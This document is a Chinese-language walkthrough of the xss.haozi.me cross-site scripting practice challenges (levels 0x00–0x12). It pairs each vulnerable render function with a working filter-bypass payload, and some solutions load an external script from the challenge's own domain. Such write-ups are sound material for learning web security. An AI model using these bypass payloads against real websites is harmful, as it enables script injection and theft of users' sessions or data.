# Writeup —【xss.haozi.me】 --- ## 0x00: 題目:https://xss.haozi.me/#/0x00 :::danger Server Code: ``` function render (input) { return '<div>' + input + '</div>' } ``` ::: :::info 解釋: 這題沒有任何限制,單純的一個輸入地方。 ::: :::success input code: ``` <script>alert(1)</script> ``` ::: --- ## 0x01: 題目:https://xss.haozi.me/#/0x01 :::danger Server Code: ``` function render (input) { return '<textarea>' + input + '</textarea>' } ``` ::: :::info 解釋: 這題在前後,被 textarea 這個標籤包住,因此我們要先讓他閉合。 ::: :::success input code: ``` </textarea><script>alert(1)</script><textarea> ``` ::: --- ## 0x02: 題目:https://xss.haozi.me/#/0x02 :::danger Server Code: ``` function render (input) { return '<input type="name" value="' + input + '">' } ``` ::: :::info 解釋: 這題跟上一題有點像,只是是包在參數裡面,因此我們要先讓他閉合。 ::: :::success input code: ``` "><script>alert(1)</script> ``` ::: --- ## 0x03: 題目:https://xss.haozi.me/#/0x03 :::danger Server Code: ``` function render (input) { const stripBracketsRe = /[()]/g input = input.replace(stripBracketsRe, '') return input } ``` ::: :::info 解釋: 這題會把「(」和「)」替換掉(直接消失),但是我們可以用其他東西代替。 ※ 反引號「\`」功能: 1. 普通的字串 2. 包含換行的字串 3. 包含變數的字串 4. 可以調用函數來執行包住的字串 5. 包含表達式的字串中 所以這邊我們就可以利用反引號同樣調用 alert() ::: :::success input code: ``` <script>alert`1`</script> ``` ::: --- ## 0x04: 題目:https://xss.haozi.me/#/0x04 :::danger Server Code: ``` function render (input) { const stripBracketsRe = /[()`]/g input = input.replace(stripBracketsRe, '') return input } ``` ::: :::info 解釋: 這題跟上一提很像,但是它把「\`」也替換掉了(直接消失)。 我們可以嘗試用編碼繞過。 ※ [編碼](https://ascii.cl/htmlcodes.htm) 然而,這邊的輸入只是被包在標籤裡面,而不是標籤「內部」。 所以需要用一些方法想辦法讓他知道要轉編碼。 ::: :::success input code: 可以用 svg 這個標籤來執行後面的字串。 ``` <svg><script>alert&#40;1&#41;</script></svg> ``` ::: :::success input code: iframe 這個標籤的 srcdoc 可以直接去寫轉譯後的html片段。 ※ srcdoc 裡面的代碼會作爲 iframe 中的內容顯示出來。 ``` <iframe srcdoc="<script>alert&#40;1&#41;</script>"> ``` ::: --- ## 0x05: 題目:https://xss.haozi.me/#/0x05 :::danger Server Code: ``` function render (input) { input = input.replace(/-->/g, '😂') return '<!-- ' + input + ' -->' } ``` ::: :::info 解釋: 這題一樣想到要閉合它,但是它把「\-\-\>」替換掉了。 但是可以發現,就算我們使用「\-\-\!\>」,它一樣可以執行。 ::: :::success input code: ``` --!><script>alert(1)</script> ``` ::: --- ## 0x06: 題目:https://xss.haozi.me/#/0x06 :::danger Server Code: ``` function render (input) { input = input.replace(/auto|on.*=|>/ig, '_') return `<input value=1 ${input} type="text">` } ``` ::: :::info 解釋: 這題會想到要用屬性去用它,但是題目替換了 「auto」、「on」 為開頭,「\=」 結尾的標籤成為 「\_」 。 我們可以用換行來繞過它。 ::: :::success input code: ``` onmouseover =alert(1) ``` ::: --- ## 0x07: 題目:https://xss.haozi.me/#/0x07 :::danger Server Code: ``` function render (input) { const stripTagsRe = /<\/?[^>]+>/gi input = input.replace(stripTagsRe, '') return `<article>${input}</article>` } ``` ::: :::info 解釋: 這題會替換掉 「\<」 或 「</」 開頭,「\>」 或 「/>」 結尾的標籤。 但是我們知道有容錯機制,可以用這個來自動加上我們後面需要補上的「/>」。 (最後面有一個空白) ::: :::success input code: ``` <img src=1 onerror=alert(1) ``` ::: --- ## 0x08: 題目:https://xss.haozi.me/#/0x08 :::danger Server Code: ``` function render (src) { src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */') return ` <style> ${src} </style> ` } ``` ::: :::info 解釋: 這題想要先閉合它,但是題目會替換掉 「\<style>」的標籤,甚至連編碼都用掉了。 但是其實很簡單,我們只要在標籤中間空一格(或是直接換行),就可以繞過檢查。 ::: :::success input code: ``` </style ><script>alert(1)</script> ``` ::: --- ## 0x09: 題目:https://xss.haozi.me/#/0x09 :::danger Server Code: ``` function render (input) { let domainRe = /^https?:\/\/www\.segmentfault\.com/ if (domainRe.test(input)) { return `<script src="${input}"></script>` } return 'Invalid URL' } ``` ::: :::info 解釋: 這題蠻酷的,會檢查要以 https://www.segmentfault.com 開頭,其實很簡單。 ::: :::success input code: ``` https://www.segmentfault.com/"></script><a href=1 onmouseover=alert(1)>click</a> ``` ::: --- ## 0x0A: 題目:https://xss.haozi.me/#/0x0A :::danger Server Code: ``` function render (input) { function escapeHtml(s) { return s.replace(/&/g, '&amp;') .replace(/'/g, '&#39;') .replace(/"/g, '&quot;') .replace(/</g, '&lt;') .replace(/>/g, '&gt;') .replace(/\//g, '&#x2f') } const domainRe = /^https?:\/\/www\.segmentfault\.com/ if (domainRe.test(input)) { return `<script src="${escapeHtml(input)}"></script>` } return 'Invalid URL' } ``` ::: :::info 解釋: 這題輸入 URL,一樣會檢查要以 https://www.segmentfault.com 開頭。 可以引用外在 JS 文件。 (官方正解)(但是我不能用) ::: :::success input code: (官方正解) ``` https://www.segmentfault.com.haozi.me/j.js ``` ::: :::success input code: ``` ``` ::: --- ## 0x0B: 題目:https://xss.haozi.me/#/0x0B :::danger Server Code: ``` function render (input) { input = input.toUpperCase() return `<h1>${input}</h1>` } ``` ::: :::info 解釋: 這題會將輸入轉成大寫。但是其實標籤以及屬性不會有差。 因此我們可以試試看引用外在 JS 文件。 (官方正解)(但是我不能用) ::: :::success input code: (官方正解) ``` <script src="https://www.segmentfault.com.haozi.me/j.js"></script>> ``` ::: :::info 解釋: 由於內容會被轉換成大寫,我們可以用編碼來繞過。 ::: :::success input code: ``` <img src=1 onerror=&#97;&#108;&#101;&#114;&#116;&#40;1&#41;> ``` ::: --- ## 0x0C: 題目:https://xss.haozi.me/#/0x0C :::danger Server Code: ``` function render (input) { input = input.replace(/script/ig, '') input = input.toUpperCase() return '<h1>' + input + '</h1>' } ``` ::: :::info 解釋: 這題除了上題那樣會將輸入轉成大寫,還把「script」標籤替換了。 但是由於它只替換一次,因此我們可以亂打成下面那樣。 (官方正解)(但是我不能用) ::: :::success input code: (官方正解) ``` <scscriptript src="https://www.segmentfault.com.haozi.me/j.js"></scscriptript>> ``` ::: :::info 解釋: 同上題,新加入的限制不影響。 ::: :::success input code: ``` <img src=1 onerror=&#97;&#108;&#101;&#114;&#116;&#40;1&#41;> ``` ::: --- ## 0x0D: 題目:https://xss.haozi.me/#/0x0D :::danger Server Code: ``` function render (input) { input = input.replace(/[</"']/g, '') return ` <script> // alert('${input}') </script> ` } ``` ::: :::info 解釋: 這題一開始想要閉合,但是它把東西都替換了。 因此換個想法,直接強制換行就可以繞過它。 ::: :::success input code: ``` alert(1); --> ``` ::: --- ## 0x0E: 題目:https://xss.haozi.me/#/0x0E :::danger Server Code: ``` function render (input) { input = input.replace(/<([a-zA-Z])/g, '<_$1') input = input.toUpperCase() return '<h1>' + input + '</h1>' } ``` ::: :::info 解釋: 這題除了會將輸入轉成大寫,還會將輸入的標籤替換成「\<\_\.\.\.」。 我認為這題最猛,我真的沒想到! 當然,一樣用引用外在文件,只是要想辦法在使用標籤「\<script\>」時,避開它的檢查。 我們找到一個字元「ſ」,它在轉換成大寫後剛好會是「S」!(傻眼XD) (官方正解) ::: :::success input code: (官方正解) ``` <ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script> ``` ::: --- ## 0x0F: 題目:https://xss.haozi.me/#/0x0F :::danger Server Code: ``` function render (input) { function escapeHtml(s) { return s.replace(/&/g, '&amp;') .replace(/'/g, '&#39;') .replace(/"/g, '&quot;') .replace(/</g, '&lt;') .replace(/>/g, '&gt;') .replace(/\//g, '&#x2f;') } return `<img src onerror="console.error('${escapeHtml(input)}')">` } ``` ::: :::info 解釋: 這題把那幾項換成後面的東西,然而它在標籤裡面,所以編碼是可以被分析的! ::: :::success input code: ``` ');alert(1);(' ``` ::: --- ## 0x10: 題目:https://xss.haozi.me/#/0x10 :::danger Server Code: ``` function render (input) { return ` <script> window.data = ${input} </script> ` } ``` ::: :::info 解釋: 這題一樣就單純讓它閉合。 ::: :::success input code: ``` 1;alert(1); ``` ::: --- ## 0x11: 題目:https://xss.haozi.me/#/0x11 :::danger Server Code: ``` function render (s) { function escapeJs (s) { return String(s) .replace(/\\/g, '\\\\') .replace(/'/g, '\\\'') .replace(/"/g, '\\"') .replace(/`/g, '\\`') .replace(/</g, '\\74') .replace(/>/g, '\\76') .replace(/\//g, '\\/') .replace(/\n/g, '\\n') .replace(/\r/g, '\\r') .replace(/\t/g, '\\t') .replace(/\f/g, '\\f') .replace(/\v/g, '\\v') // .replace(/\b/g, '\\b') .replace(/\0/g, '\\0') } s = escapeJs(s) return ` <script> var url = 'javascript:console.log("${s}")' var a = document.createElement('a') a.href = url document.body.appendChild(a) a.click() </script> ` } ``` ::: :::info 解釋: 這題跟上上題很像,只是更改的東西不能用了。 然而可以發現,就算題目把「\"」替換成「\\"」,一樣可以閉合前面的「console.log\(\"」。 ::: :::success input code: ``` ");alert(1)// ``` ::: --- ## 0x12: 題目:https://xss.haozi.me/#/0x12 :::danger Server Code: ``` // from alf.nu function escape (s) { s = s.replace(/"/g, '\\"') return '<script>console.log("' + s + '");</script>' } ``` ::: :::info 解釋: 這題「\"」替換爲「\\\"」,所以如果這裏直接用「\\\"\)」閉合會被分析,所以要再加一個「\\」。 ::: :::success input code: ``` \");alert(1);// ``` ::: ---